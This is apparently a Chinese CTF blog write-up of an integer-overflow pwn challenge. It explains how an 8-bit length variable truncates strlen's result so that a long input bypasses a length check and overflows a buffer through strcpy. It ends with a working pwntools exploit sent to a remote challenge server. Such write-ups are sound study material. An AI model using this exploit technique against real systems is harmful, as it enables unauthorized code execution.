int_overflow wp
这题涉及到了整数溢出漏洞,值得写一篇博客。
先checksec一下:
只开了NX保护机制
拖入IDA查看:
主函数里没有什么可以利用的
打开login()函数:
有read函数但是无法溢出……打开check_passwd函数这里涉及到一个知识点unsigned_int8定义的是一个无符号型8位整数
具体解释如下:
int8取值范围是-128 - 127
unsigned int8 0-255
Int16 意思是16位整数(16bit integer),相当于short 占2个字节 -32768 ~ 32767
Int32 意思是32位整数(32bit integer), 相当于 int 占4个字节 -2147483648 ~ 2147483647
Int64 意思是64位整数(64bit interger), 相当于 long long 占8个字节 -9223372036854775808 ~ 9223372036854775807
这里涉及到一个整数溢出:strlen函数读取buf的字符长度以int类型返回是32位字节的,而将它赋给了v3如果返回值大于255则会发生整数溢出,将高位字节截断保留低位字节
我们看到if函数的else部分是我们可以利用的,有个危险函数strcpy()可以复制任意长度字符串,这里可以将s的字符串复制到dest数组并发生溢出
那思路就拟好了先让v3在4~8区间内判断到else区间执行然后该怎么覆盖怎么覆盖
dest的栈空间如下:
上exp:
from pwn import*
io=remote("223.112.5.156",63036)
payload=b'a'*24+p32(0x0804868b)+b'a'*232
io.recvuntil("choice:")
io.sendline('1')
io.recvuntil("username:\n")
io.sendline("zjh")
io.recvuntil("passwd:\n")
io.sendline(payload)
io.interactive()
获得flag: